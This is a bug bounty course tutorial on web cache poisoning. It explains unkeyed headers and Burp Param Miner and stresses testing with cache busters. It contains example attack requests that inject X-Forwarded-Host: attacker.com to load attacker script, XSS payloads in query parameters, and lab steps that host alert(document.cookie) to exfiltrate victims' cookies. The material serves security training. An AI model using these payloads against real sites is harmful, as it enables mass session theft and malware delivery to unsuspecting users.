Bug Bounty Course -- Day 29 of 60
48%

How Web Cache Poisoning works — Complete Guide | Bug Bounty Course Day 29 of 60

How Web Cache Poisoning works — Complete Guide | Bug Bounty Course Day 29 of 60
DAY 29
BUG BOUNTY COURSE
FREE
← Course Hub

Day 29 of 60 · Bug Bounty Mastery

Web cache poisoning turns caching infrastructure against itself. By injecting a malicious payload via an unkeyed HTTP header, I can poison the cache so every user who requests that URL gets my payload served back — no interaction required from them. It’s one of the most impactful bugs in modern web security and it pays accordingly: $500 for basic reflected XSS to $25,000+ for poisoning CDN-served JavaScript. Today I’m covering the complete cache poisoning bug bounty methodology.

🎯 What You’ll Master in Day 29
✅ How web caching works and what makes it exploitable
✅ Cache keys, unkeyed inputs and why they matter
✅ Common cache poisoning attack vectors 2026
✅ Burp Param Miner for automated header discovery
✅ Safe testing with cache busters
✅ Real HackerOne cache poisoning payouts and reports

⏱️ 20 min read · 3 exercises · PortSwigger labs included

Day 28 covered Prototype Pollution — another client-side logic flaw. Today’s cache poisoning is the server-side equivalent of amplified impact: one poisoned request can affect thousands of users. My full 60-Day Bug Bounty Mastery Course covers this as Day 29 because you need the foundation from SSRF (Day 10) to understand how server-side request manipulation works.


How Web Caching Works

Web caches sit between users and origin servers. When user A requests a page, the cache stores the response. When user B makes the same request, the cache serves the stored response without hitting the origin — improving performance and reducing server load. The cache decides whether two requests are “the same” using a cache key, typically a combination of URL, hostname, and specific headers. Here’s the vulnerability: some inputs affect the response but are not included in the cache key. These are unkeyed inputs. If I can inject a malicious payload via an unkeyed input, the poisoned response gets cached and served to everyone.

securityelites.com
Cache Poisoning Attack Flow
STEP 1: Attacker sends poisoned request
GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com ← unkeyed, reflected in response
STEP 2: Cache stores poisoned response
Cache key: GET /home + Host: target.com ← X-Forwarded-Host NOT in key
Response: <script src=”https://attacker.com/malicious.js”></script>
STEP 3: Victim gets poisoned response
GET /home HTTP/1.1
Host: target.com ← cache key matches!
Response: poisoned content served from cache ← victim gets attacker.com JS

📸 Web cache poisoning attack flow. The attacker’s X-Forwarded-Host header modifies the response (which references it for script loading) but the header isn’t part of the cache key. So the poisoned response — with the script pointing to attacker.com — gets cached under the legitimate cache key. Every subsequent user gets the malicious version without sending any special headers.

Cache Keys and Unkeyed Inputs

A cache key is what the cache uses to decide if two requests should return the same cached response. Standard cache keys include the URL path, query string, and Host header. Unkeyed inputs are everything else the server might use to construct the response — headers like X-Forwarded-Host, X-Original-URL, query parameters that are reflected but not in the key, and cookies. When I find an unkeyed input that gets reflected in the response, that’s my attack surface.

DETECTING CACHING IN BURP SUITE
# Response headers that indicate caching is active
X-Cache: HIT                      # Varnish / custom cache
X-Cache: MISS                     # First request, not yet cached
CF-Cache-Status: HIT              # Cloudflare CDN cache
CF-Cache-Status: MISS
Age: 3456                         # Seconds this response has been cached
Cache-Control: public, max-age=3600
Vary: Accept-Encoding             # Headers included in cache key

# Send request twice — if Age increases or X-Cache switches HIT → cached
# Look for these in Burp Repeater response headers on GET requests

Cache Poisoning Attack Vectors

The specific attack depends on which unkeyed header is reflected and where in the response it appears. X-Forwarded-Host reflected in a script src tag gives me JavaScript injection. X-Forwarded-Scheme reflected in a Location header gives me open redirect to HTTPS. X-Original-URL replacing the request path gives me access control bypass. My methodology: find the reflected header, understand what it controls in the response, then build the payload accordingly.

COMMON CACHE POISONING ATTACK VECTORS
# Vector 1: X-Forwarded-Host → XSS via reflected script src
GET /home?cb=CACHEBUSTER HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# If response contains: <script src="//attacker.com/analytics.js">
# Then host attacker.com/analytics.js with alert(document.cookie)

# Vector 2: X-Forwarded-Scheme → redirect to HTTP (HTTPS downgrade)
GET /login?cb=CACHEBUSTER HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http

# Vector 3: X-Original-URL → path override
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin/secret

# Vector 4: Unkeyed query parameter
GET /page?utm_source=<script>alert(1)</script>&cb=BUSTER HTTP/1.1
# If utm_source reflected in response but not in cache key → poison

# Vector 5: Vary header abuse — cookie poisoning
# If Vary: Cookie is set but cookie value reflected unescaped → poison
🧠 EXERCISE 1 — THINK LIKE A BUG BOUNTY HUNTER (5 MIN)
Analyse a Cache Poisoning Scenario
You find this response to GET /home:
X-Cache: MISS
Age: 0
Content: <link rel=”canonical” href=”https://TARGET.COM/home”>

You add X-Forwarded-Host: attacker.com and resend:
X-Cache: MISS
Age: 0
Content: <link rel=”canonical” href=”https://attacker.com/home”>

Q1: Is this cacheable? How do you confirm?
Q2: Is X-Forwarded-Host a keyed or unkeyed input?
Q3: What’s the attack potential here?
Q4: What payload makes this a valid high-severity report?

✅ Answers: Q1: Send again — if X-Cache becomes HIT, it’s caching. Q2: Unkeyed — it modified the response without changing the cache key. Q3: Cached canonical tag hijack → SEO poisoning and potential open redirect. Q4: Use X-Forwarded-Host: attacker.com, verify it caches (X-Cache: HIT), then show a victim without that header gets the poisoned canonical tag. Impact depends on what canonical controls.
📸 Post your analysis in #bug-bounty on Comments!

Burp Param Miner: Automated Unkeyed Header Discovery

Manually testing every possible header is time-consuming. Burp Param Miner automates this — it sends requests with large lists of common headers, parameters, and cookies, and identifies which ones influence the response without being in the cache key. My workflow: intercept a request to a cacheable endpoint, right-click, run Param Miner, review the output for headers that cause differences in responses.

securityelites.com
Burp Suite Param Miner — Usage Steps
1. Install: BApp Store → search “Param Miner” → Install
2. Find a cacheable endpoint (look for X-Cache or Age headers)
3. Send to Repeater (Ctrl+R)
4. Right-click in Repeater → Extensions → Param Miner → Guess headers
5. Enable: Add cache busters → ON
6. Wait for Param Miner to run (may take a few minutes)
7. Check Issues tab for “Cacheable unkeyed header” findings
Param Miner Output Example:
[+] Found unkeyed header: X-Forwarded-Host
[+] Found unkeyed parameter: utm_source
[!] Potential cache poisoning: response differs with X-Forwarded-Host

📸 Burp Param Miner workflow. The extension runs through hundreds of header and parameter combinations automatically. When it finds an input that modifies the response content without changing the cache key, it flags it as a potential cache poisoning vector. The “Add cache busters” setting is critical — it ensures test requests don’t pollute the production cache during discovery.

Safe Testing: Cache Busters Are Non-Negotiable

Testing cache poisoning without cache busters means I poison the production cache for real users — that’s a violation of bug bounty rules and potentially illegal. A cache buster is a unique query parameter I add to my test URL to create a unique cache key for my tests. Every real user’s requests go through the normal cache key; my test requests have a unique key and only affect me. My rule: never send a cache poisoning test without a unique cache buster. Never skip this step.

SAFE CACHE POISONING TESTING
# ALWAYS add a unique cache buster to your test requests
GET /home?cb=X7K2M9P1 HTTP/1.1     ← unique to your test session
Host: target.com
X-Forwarded-Host: attacker.com

# Verify your specific cache entry is poisoned (your buster only)
GET /home?cb=X7K2M9P1 HTTP/1.1
Host: target.com
# ← NO X-Forwarded-Host header this time
# Response should still contain attacker.com if poisoned ✓

# Use Burp Collaborator for safe out-of-band confirmation
X-Forwarded-Host: YOUR_COLLABORATOR_ID.oastify.com

# To confirm impact without affecting real users:
# Show in report that cache key = /home?cb=X7K2M9P1 is poisoned
# Demonstrate same attack works on /home (no buster) to show scope
# But clean up — request /home with no buster to invalidate before reporting
⚠️ Critical Rule: If you confirm cache poisoning is possible on the real URL (no buster), immediately stop and report. Do not demonstrate the XSS or impact on the production cache — that could affect real users and violate your bug bounty programme’s scope.
EXERCISE 2 — PORTSWIGGER LAB (20 MIN)
Web Cache Poisoning With Unkeyed Header Lab
Lab URL: portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

1. Open Burp Suite, enable proxy, launch the lab
2. Browse to the home page — intercept the GET / request
3. Send to Repeater — look for X-Cache header in response
4. Add X-Forwarded-Host: YOUR_EXPLOIT_SERVER to the request
5. Check if the response contains your injected host
6. Host a JS file on the exploit server: alert(document.cookie)
7. Poison the cache so the home page loads your JS
8. When victim visits the home page, their cookie is exfiltrated

✅ Learned:The complete cache poisoning chain — unkeyed header discovery, exploit server setup, cache poisoning execution and victim impact confirmation.
📸 Screenshot your Collaborator hit in #bug-bounty on Comments!

Real Bug Bounty Examples and Payouts

Cache poisoning reports on HackerOne span a wide range of severity depending on what gets poisoned and what impact it achieves. My framework for assessing impact: what URL is poisoned, what’s the traffic volume, what does the payload achieve (reflected XSS vs stored XSS vs account takeover vs malware distribution), and does it affect authenticated or unauthenticated users. The highest payouts come from poisoning JavaScript files served by CDN — attacker code gets executed by every user who loads the page.

securityelites.com
Cache Poisoning Bug Bounty Impact Matrix
Attack Scenario
Severity
Typical Payout
Unkeyed header → reflected XSS via cache
High
$500–$3,000
Unkeyed header → CDN-cached JS injection
Critical
$5,000–$25,000
Cache poisoning → login redirect (phishing)
High
$1,000–$5,000
Vary header abuse → cookie poisoning
Critical
$3,000–$15,000
Cache poisoning → CSRF token leak
Critical
$5,000–$20,000

📸 Cache poisoning bug bounty payout reference. The multiplier is impact × traffic. A reflected XSS via cache on a low-traffic internal tool pays $500. The same technique on a CDN-served analytics JavaScript file for a site with 10M daily users pays $25,000+. My triage focus is always on JavaScript files and pages with high organic traffic first.
EXERCISE 3 — FULL METHODOLOGY LAB (25 MIN)
Complete Cache Poisoning Assessment on PortSwigger Academy
Target: portswigger.net/web-security/web-cache-poisoning

Phase 1 — Identify cacheable endpoints:
1. Browse the app — look for GET requests
2. Check response headers for X-Cache, Age, CF-Cache-Status
3. Send same request twice — confirm HIT on second request

Phase 2 — Param Miner discovery:
4. Right-click request → Extensions → Param Miner → Guess all
5. Enable cache busters — critical safety step
6. Wait for results in Extensions → Param Miner tab

Phase 3 — Exploit development:
7. For each unkeyed header found — where is it reflected?
8. Build payload: if script src → host evil.js on exploit server
9. Poison with cache buster first → confirm poisoned response
10. Document full attack chain for the report

✅ Learned: The full cache poisoning methodology from identification through Param Miner to exploitation and responsible reporting. The cache buster habit built here protects you legally in every real engagement.
📸 Share your report writeup in #bug-bounty!
⚡ Day 29 Key Concepts
X-Cache: HIT/MISS → caching active
X-Forwarded-Host → most common vector
Cache buster = ?cb=UNIQUEVALUE
Param Miner → automated discovery
Burp Collaborator → OOB confirmation
Vary header → extra keyed inputs

Frequently Asked Questions

What is web cache poisoning?
Web cache poisoning is an attack where an adversary tricks a cache into storing a malicious response that gets served to other users. It works by injecting content via unkeyed inputs — HTTP headers or parameters that influence the response but aren’t included in the cache key the server uses to identify unique requests.
What headers are commonly used in cache poisoning attacks?
The most exploited unkeyed headers are X-Forwarded-Host (controls host-based URL construction), X-Forwarded-Scheme (can force HTTP redirect), X-Original-URL and X-Rewrite-URL (can override request path), and X-Forwarded-For when reflected. Run Burp Param Miner to discover which headers are unkeyed on the specific target.
Why do I need a cache buster for testing?
Without a cache buster, your test payloads could poison the production cache for real users — serving malicious content to thousands of visitors. A cache buster (e.g. ?cb=UNIQUE) creates a unique cache key for your test, isolating your tests to a separate cache entry. All bug bounty programmes require responsible testing that doesn’t affect real users.
What does Burp Param Miner do?
Burp Param Miner automatically sends requests with hundreds of potential unkeyed headers and parameters, comparing responses to identify inputs that influence the response without being in the cache key. It’s the fastest way to discover cache poisoning attack surfaces without manually testing each header. Install it from the BApp Store in Burp Suite.
What’s the highest severity cache poisoning impact?
The highest severity — and highest payout — is poisoning a CDN-cached JavaScript file that’s loaded by every page on a high-traffic site. Instead of one user being affected by XSS, every visitor executes attacker-controlled JavaScript. This can achieve mass account takeover, credential theft, or malware distribution at scale.
How do I confirm cache poisoning is working?
Send the poisoning request with cache buster and malicious header. Then send the same URL (same cache buster, no injected header) a second time. If the response still contains your injected content — served from cache without your header — the poisoning is confirmed. The X-Cache: HIT header in the second response confirms it came from cache.

📚 Further Reading

ME
Mr Elite
Cache poisoning is the bug that keeps paying in my experience — once you understand the unkeyed input concept, you start seeing it everywhere. The Param Miner extension is one of the most consistently valuable tools I use for automated discovery. My advice for your first real cache poisoning report: don’t go straight to XSS impact. Find the unkeyed header first, document it thoroughly with the cache buster methodology, and let the programme triage the impact. A clearly demonstrated cache poisoning primitive with responsible testing documentation gets triaged at high severity even before you show the full XSS chain.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *